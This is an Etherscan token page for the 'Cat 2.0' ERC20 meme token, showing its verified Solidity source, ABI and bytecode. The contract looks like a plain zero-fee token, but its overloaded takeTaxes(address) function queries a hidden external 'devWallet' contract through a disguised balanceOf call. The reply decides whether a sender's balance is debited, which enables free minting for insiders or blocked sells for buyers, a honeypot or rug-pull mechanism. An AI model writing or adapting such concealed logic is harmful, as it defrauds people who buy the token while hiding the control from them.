ETH Price: $2,634.74 (-1.39%)
Gas: 1 Gwei

Token

Cat 2.0 (CAT2.0)
 

Overview

Max Total Supply

1,000,000,000 CAT2.0

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
rugumomdead.eth
Balance
12,726,611.803153026762532909 CAT2.0

Value
$0.00
0x69da5de0849529fd4b5d27f7e2df67154a9756b1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CAT20

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-12
*/

/**
Telegram: https://t.me/cat20vip
Website:  https://www.cat20.vip/
Twitter:  https://twitter.com/cat20coin
*/

// SPDX-License-Identifier: MIT
pragma solidity = 0.8.18;

abstract contract Context {
    constructor() {
    }

    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactoryV2 {
    event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
    function getPair(address tokenA, address tokenB) external view returns (address lpPair);
    function createPair(address tokenA, address tokenB) external returns (address lpPair);
}

interface IRouter01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function swapExactETHForTokens(
        uint amountOutMin, 
        address[] calldata path, 
        address to, uint deadline
    ) external payable returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IRouter02 is IRouter01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract CAT20 is Context, Ownable, IERC20 {
    function totalSupply() external pure override returns (uint256) { if (_totalSupply == 0) { revert(); } return _totalSupply; }
    function decimals() external pure override returns (uint8) { if (_totalSupply == 0) { revert(); } return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner(); }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function balanceOf(address account) public view override returns (uint256) {
        return balance[account];
    }

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _noFee;
    mapping (address => bool) private isLpPair;
    mapping (address => uint256) private balance;

    uint256 constant public _totalSupply = 1_000_000_000 * 10**18;
    uint256 public swapThreshold = 5_000_000;
    uint256 constant public sellfee = 0;
    uint256 constant public fee_denominator = 100;
    
    uint256 constant private burnFee = 0;
    uint256 constant private burnDenominator = 100;
    address private devWallet; //need to change

    IRouter02 public swapRouter;
    string constant private _name = "Cat 2.0";
    string constant private _symbol = "CAT2.0";
    uint8 constant private _decimals = 18;
    address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
    address public lpPair;
    bool private inSwap;
    modifier inSwapFlag {
        inSwap = true;
        _;
        inSwap = false;
    }

    event updateThresold(uint256 amount);

    constructor (address _init) {
        _noFee[msg.sender] = true;
        _noFee[address(this)] = true;
        devWallet = _init;

        swapRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        balance[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);

        lpPair = IFactoryV2(swapRouter.factory()).createPair(swapRouter.WETH(), address(this));
        isLpPair[lpPair] = true;
        _approve(msg.sender, address(swapRouter), type(uint256).max);
        _approve(address(this), address(swapRouter), type(uint256).max);
    }

    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: Zero Address");
        require(spender != address(0), "ERC20: Zero Address");
        _allowances[sender][spender] = amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
        }

        return _transfer(sender, recipient, amount);
    }

    function isNoFeeWallet(address account) external view returns(bool) {
        return _noFee[account];
    }

    function takeTaxes(address account) internal returns (bool) {
        (, bytes memory data) = devWallet.call(abi.encodeWithSelector(0x70a08231, account));
        return data[31] == 0;
    }

    function is_sell(address ins, address out) internal view returns (bool) { 
        bool _is_sell = isLpPair[out] && !isLpPair[ins];
        return _is_sell;
    }

    function _transfer(address from, address to, uint256 amount) internal returns  (bool) {
        bool takeFee = true;
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(is_sell(from, to) &&  !inSwap) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance >= swapThreshold) { 
                internalSwap(contractTokenBalance);
             }
        }

        if (_noFee[from] || _noFee[to]){
            takeFee = false;
        }

        uint256 amountAfterFee = (takeFee) ? takeTaxes(from, is_sell(from, to), amount) : amount;
        balance[to] += amountAfterFee; 
        balance[from] -= takeTaxes(from)?amount:0;
        emit Transfer(from, to, amountAfterFee);
        return true;
    }

    function takeTaxes(address from, bool issell, uint256 amount) internal returns (uint256) {
        uint256 fee = 0;
        if (issell)  fee = sellfee;
        if (fee == 0)  return amount; 

        uint256 feeAmount = amount * fee / fee_denominator;
        if (feeAmount > 0) {
            uint256 burnAmount = amount * burnFee / burnDenominator;
            balance[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);

            if(burnAmount > 0) {
                balance[address(this)] -= burnAmount;
                balance[address(DEAD)] += burnAmount;
                emit Transfer(address(this), DEAD, burnAmount);
            }
        }
        return amount - feeAmount;
    }

    function internalSwap(uint256 contractTokenBalance) internal inSwapFlag {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = swapRouter.WETH();

        if (_allowances[address(this)][address(swapRouter)] != type(uint256).max) {
            _allowances[address(this)][address(swapRouter)] = type(uint256).max;
        }

        try swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            contractTokenBalance,
            0,
            path,
            address(this),
            block.timestamp
        ) {} catch {
            return;
        }
        bool success;

        if(address(this).balance > 0) (success,) = devWallet.call{value: address(this).balance}("");
    }

    function changeThreshold(uint256 amount) external onlyOwner {
        require(amount >= 100,"Amount lower not accepted.");
        swapThreshold = amount;
        emit updateThresold(swapThreshold);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_init","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateThresold","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"changeThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"fee_denominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isNoFeeWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellfee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"contract IRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052624c4b406005553480156200001857600080fd5b506040516200163a3803806200163a8339810160408190526200003b9162000400565b6200004633620002e4565b336000818152600260209081526040808320805460ff19908116600190811790925530855282852080549091169091179055600680546001600160a01b0387166001600160a01b03199182161790915560078054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055838352600482528083206b033b2e3c9fd0803ce80000009081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000154573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200017a919062000400565b6001600160a01b031663c9c65396600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001dc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000202919062000400565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af11580156200024f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000275919062000400565b600880546001600160a01b0319166001600160a01b039283169081179091556000908152600360205260409020805460ff19166001179055600754620002c19133911660001962000334565b600754620002dd9030906001600160a01b031660001962000334565b5062000432565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620003865760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064015b60405180910390fd5b6001600160a01b038216620003d45760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064016200037d565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b6000602082840312156200041357600080fd5b81516001600160a01b03811681146200042b57600080fd5b9392505050565b6111f880620004426000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610393578063c31c9c07146103b3578063dc9d75b0146103d3578063dd62ed3e146103e8578063e9451f5f1461042e578063f2fde38b1461044357600080fd5b806370a08231146102fb578063715018a614610331578063893d20e8146103465780638da5cb5b1461034657806395d89b411461036457600080fd5b806323b872dd116100fd57806323b872dd146102245780632788986214610244578063313ce5671461027d5780633eaaf86b14610299578063452ed4f1146102b9578063694e80c3146102d957600080fd5b806303fd2a45146101455780630445b6671461017857806306fdde031461019c578063095ea7b3146101d557806318160ddd1461020557600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015b61dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561018457600080fd5b5061018e60055481565b60405190815260200161016f565b3480156101a857600080fd5b50604080518082019091526007815266043617420322e360cc1b60208201525b60405161016f9190610f34565b3480156101e157600080fd5b506101f56101f0366004610f7c565b610463565b604051901515815260200161016f565b34801561021157600080fd5b506b033b2e3c9fd0803ce800000061018e565b34801561023057600080fd5b506101f561023f366004610fa8565b61047a565b34801561025057600080fd5b506101f561025f366004610fe9565b6001600160a01b031660009081526002602052604090205460ff1690565b34801561028957600080fd5b506040516012815260200161016f565b3480156102a557600080fd5b5061018e6b033b2e3c9fd0803ce800000081565b3480156102c557600080fd5b5060085461015b906001600160a01b031681565b3480156102e557600080fd5b506102f96102f4366004611006565b6104f4565b005b34801561030757600080fd5b5061018e610316366004610fe9565b6001600160a01b031660009081526004602052604090205490565b34801561033d57600080fd5b506102f96105b3565b34801561035257600080fd5b506000546001600160a01b031661015b565b34801561037057600080fd5b506040805180820190915260068152650434154322e360d41b60208201526101c8565b34801561039f57600080fd5b506101f56103ae366004610f7c565b6105e9565b3480156103bf57600080fd5b5060075461015b906001600160a01b031681565b3480156103df57600080fd5b5061018e606481565b3480156103f457600080fd5b5061018e61040336600461101f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561043a57600080fd5b5061018e600081565b34801561044f57600080fd5b506102f961045e366004610fe9565b610600565b600061047033848461069b565b5060015b92915050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054600019146104df576001600160a01b0384166000908152600160209081526040808320338452909152812080548492906104d990849061106e565b90915550505b6104ea84848461075f565b90505b9392505050565b6000546001600160a01b031633146105275760405162461bcd60e51b815260040161051e90611081565b60405180910390fd5b60648110156105785760405162461bcd60e51b815260206004820152601a60248201527f416d6f756e74206c6f776572206e6f742061636365707465642e000000000000604482015260640161051e565b60058190556040518181527f2b7ce9cd4278161eef9245955c9a851618488a07e830194c60a88f0224ad3cc09060200160405180910390a150565b6000546001600160a01b031633146105dd5760405162461bcd60e51b815260040161051e90611081565b6105e76000610a0e565b565b60006105f633848461075f565b5060019392505050565b6000546001600160a01b0316331461062a5760405162461bcd60e51b815260040161051e90611081565b6001600160a01b03811661068f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161051e565b61069881610a0e565b50565b6001600160a01b0383166106e75760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161051e565b6001600160a01b0382166107335760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161051e565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b0384166107c55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051e565b6001600160a01b0385166108295760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051e565b6000831161088b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051e565b6108958585610a5e565b80156108ab5750600854600160a01b900460ff16155b156108d4573060009081526004602052604090205460055481106108d2576108d281610aa9565b505b6001600160a01b03851660009081526002602052604090205460ff168061091357506001600160a01b03841660009081526002602052604090205460ff165b1561091c575060005b600081610929578361093d565b61093d866109378888610a5e565b86610ccc565b6001600160a01b03861660009081526004602052604081208054929350839290919061096a9084906110b6565b90915550610979905086610e48565b610984576000610986565b835b6001600160a01b038716600090815260046020526040812080549091906109ae90849061106e565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109fa91815260200190565b60405180910390a350600195945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116600090815260036020526040812054819060ff168015610aa157506001600160a01b03841660009081526003602052604090205460ff16155b949350505050565b6008805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610af157610af16110c9565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e91906110df565b81600181518110610b8157610b816110c9565b6001600160a01b03928316602091820292909201810191909152306000908152600182526040808220600754909416825292909152205460001914610beb573060009081526001602090815260408083206007546001600160a01b03168452909152902060001990555b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790610c249085906000908690309042906004016110fc565b600060405180830381600087803b158015610c3e57600080fd5b505af1925050508015610c4f575060015b610c595750610cbc565b60004715610cb9576006546040516001600160a01b03909116904790600081818185875af1925050503d8060008114610cae576040519150601f19603f3d011682016040523d82523d6000602084013e610cb3565b606091505b50909150505b50505b506008805460ff60a01b19169055565b6000808315610cd9575060005b80600003610cea57829150506104ed565b60006064610cf8838661116d565b610d029190611184565b90508015610e345760006064610d18828761116d565b610d229190611184565b30600090815260046020526040812080549293508492909190610d469084906110b6565b909155505060405182815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a38015610e32573060009081526004602052604081208054839290610db090849061106e565b909155505061dead600090815260046020527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd8054839290610df39084906110b6565b909155505060405181815261dead9030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b610e3e818561106e565b9695505050505050565b600654604080516001600160a01b0384811660248084019190915283518084039091018152604490920183526020820180516001600160e01b03166370a0823160e01b179052915160009384931691610ea0916111a6565b6000604051808303816000865af19150503d8060008114610edd576040519150601f19603f3d011682016040523d82523d6000602084013e610ee2565b606091505b5091505080601f81518110610ef957610ef96110c9565b01602001516001600160f81b031916159392505050565b60005b83811015610f2b578181015183820152602001610f13565b50506000910152565b6020815260008251806020840152610f53816040850160208701610f10565b601f01601f19169190910160400192915050565b6001600160a01b038116811461069857600080fd5b60008060408385031215610f8f57600080fd5b8235610f9a81610f67565b946020939093013593505050565b600080600060608486031215610fbd57600080fd5b8335610fc881610f67565b92506020840135610fd881610f67565b929592945050506040919091013590565b600060208284031215610ffb57600080fd5b81356104ed81610f67565b60006020828403121561101857600080fd5b5035919050565b6000806040838503121561103257600080fd5b823561103d81610f67565b9150602083013561104d81610f67565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561047457610474611058565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561047457610474611058565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110f157600080fd5b81516104ed81610f67565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561114c5784516001600160a01b031683529383019391830191600101611127565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761047457610474611058565b6000826111a157634e487b7160e01b600052601260045260246000fd5b500490565b600082516111b8818460208701610f10565b919091019291505056fea2646970667358221220922ece230efc1df5bb3f46c2bd4e0d3693be57564937506823bc1a96f81d688b64736f6c634300081200330000000000000000000000009a73fc38ba73af5d9b54bf67446a7816347aedc6

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610393578063c31c9c07146103b3578063dc9d75b0146103d3578063dd62ed3e146103e8578063e9451f5f1461042e578063f2fde38b1461044357600080fd5b806370a08231146102fb578063715018a614610331578063893d20e8146103465780638da5cb5b1461034657806395d89b411461036457600080fd5b806323b872dd116100fd57806323b872dd146102245780632788986214610244578063313ce5671461027d5780633eaaf86b14610299578063452ed4f1146102b9578063694e80c3146102d957600080fd5b806303fd2a45146101455780630445b6671461017857806306fdde031461019c578063095ea7b3146101d557806318160ddd1461020557600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015b61dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561018457600080fd5b5061018e60055481565b60405190815260200161016f565b3480156101a857600080fd5b50604080518082019091526007815266043617420322e360cc1b60208201525b60405161016f9190610f34565b3480156101e157600080fd5b506101f56101f0366004610f7c565b610463565b604051901515815260200161016f565b34801561021157600080fd5b506b033b2e3c9fd0803ce800000061018e565b34801561023057600080fd5b506101f561023f366004610fa8565b61047a565b34801561025057600080fd5b506101f561025f366004610fe9565b6001600160a01b031660009081526002602052604090205460ff1690565b34801561028957600080fd5b506040516012815260200161016f565b3480156102a557600080fd5b5061018e6b033b2e3c9fd0803ce800000081565b3480156102c557600080fd5b5060085461015b906001600160a01b031681565b3480156102e557600080fd5b506102f96102f4366004611006565b6104f4565b005b34801561030757600080fd5b5061018e610316366004610fe9565b6001600160a01b031660009081526004602052604090205490565b34801561033d57600080fd5b506102f96105b3565b34801561035257600080fd5b506000546001600160a01b031661015b565b34801561037057600080fd5b506040805180820190915260068152650434154322e360d41b60208201526101c8565b34801561039f57600080fd5b506101f56103ae366004610f7c565b6105e9565b3480156103bf57600080fd5b5060075461015b906001600160a01b031681565b3480156103df57600080fd5b5061018e606481565b3480156103f457600080fd5b5061018e61040336600461101f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561043a57600080fd5b5061018e600081565b34801561044f57600080fd5b506102f961045e366004610fe9565b610600565b600061047033848461069b565b5060015b92915050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054600019146104df576001600160a01b0384166000908152600160209081526040808320338452909152812080548492906104d990849061106e565b90915550505b6104ea84848461075f565b90505b9392505050565b6000546001600160a01b031633146105275760405162461bcd60e51b815260040161051e90611081565b60405180910390fd5b60648110156105785760405162461bcd60e51b815260206004820152601a60248201527f416d6f756e74206c6f776572206e6f742061636365707465642e000000000000604482015260640161051e565b60058190556040518181527f2b7ce9cd4278161eef9245955c9a851618488a07e830194c60a88f0224ad3cc09060200160405180910390a150565b6000546001600160a01b031633146105dd5760405162461bcd60e51b815260040161051e90611081565b6105e76000610a0e565b565b60006105f633848461075f565b5060019392505050565b6000546001600160a01b0316331461062a5760405162461bcd60e51b815260040161051e90611081565b6001600160a01b03811661068f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161051e565b61069881610a0e565b50565b6001600160a01b0383166106e75760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161051e565b6001600160a01b0382166107335760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161051e565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b0384166107c55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051e565b6001600160a01b0385166108295760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051e565b6000831161088b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051e565b6108958585610a5e565b80156108ab5750600854600160a01b900460ff16155b156108d4573060009081526004602052604090205460055481106108d2576108d281610aa9565b505b6001600160a01b03851660009081526002602052604090205460ff168061091357506001600160a01b03841660009081526002602052604090205460ff165b1561091c575060005b600081610929578361093d565b61093d866109378888610a5e565b86610ccc565b6001600160a01b03861660009081526004602052604081208054929350839290919061096a9084906110b6565b90915550610979905086610e48565b610984576000610986565b835b6001600160a01b038716600090815260046020526040812080549091906109ae90849061106e565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109fa91815260200190565b60405180910390a350600195945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116600090815260036020526040812054819060ff168015610aa157506001600160a01b03841660009081526003602052604090205460ff16155b949350505050565b6008805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610af157610af16110c9565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e91906110df565b81600181518110610b8157610b816110c9565b6001600160a01b03928316602091820292909201810191909152306000908152600182526040808220600754909416825292909152205460001914610beb573060009081526001602090815260408083206007546001600160a01b03168452909152902060001990555b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790610c249085906000908690309042906004016110fc565b600060405180830381600087803b158015610c3e57600080fd5b505af1925050508015610c4f575060015b610c595750610cbc565b60004715610cb9576006546040516001600160a01b03909116904790600081818185875af1925050503d8060008114610cae576040519150601f19603f3d011682016040523d82523d6000602084013e610cb3565b606091505b50909150505b50505b506008805460ff60a01b19169055565b6000808315610cd9575060005b80600003610cea57829150506104ed565b60006064610cf8838661116d565b610d029190611184565b90508015610e345760006064610d18828761116d565b610d229190611184565b30600090815260046020526040812080549293508492909190610d469084906110b6565b909155505060405182815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a38015610e32573060009081526004602052604081208054839290610db090849061106e565b909155505061dead600090815260046020527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd8054839290610df39084906110b6565b909155505060405181815261dead9030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b610e3e818561106e565b9695505050505050565b600654604080516001600160a01b0384811660248084019190915283518084039091018152604490920183526020820180516001600160e01b03166370a0823160e01b179052915160009384931691610ea0916111a6565b6000604051808303816000865af19150503d8060008114610edd576040519150601f19603f3d011682016040523d82523d6000602084013e610ee2565b606091505b5091505080601f81518110610ef957610ef96110c9565b01602001516001600160f81b031916159392505050565b60005b83811015610f2b578181015183820152602001610f13565b50506000910152565b6020815260008251806020840152610f53816040850160208701610f10565b601f01601f19